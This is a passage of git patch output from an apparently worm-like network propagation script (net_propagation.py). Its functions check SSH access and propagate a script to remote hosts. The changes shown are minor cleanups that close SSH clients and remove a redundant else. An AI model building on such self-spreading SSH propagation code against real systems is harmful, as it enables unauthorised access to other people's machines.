@@ def check_over_ssh(ip, port, username, password): return True else: logging.error(strings.SANITATION_FAILED) - return False client.close() return False @@ -374,6 +374,7 @@ def propagate_script(ip, port, login_string): strings.run_script_command())) else: logging.error(strings.SANITATION_FAILED) + client.close() return False client.close() return True From 414354116dd68f4509aecd7e52de9e9be5c3a32a Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Sun, 20 Mar 2022 18:34:39 +0000 Subject: [PATCH 78/78] [FIX] Redundant else statement --- src/net_propagation.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index dac4f9d..e15b30b 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -118,8 +118,8 @@ def check_over_ssh(ip, port, username, password): strings.MAIN_FILENAME)))[1]).__len__() < 1: client.close() return True - else: - logging.error(strings.SANITATION_FAILED) + + logging.error(strings.SANITATION_FAILED) client.close() return False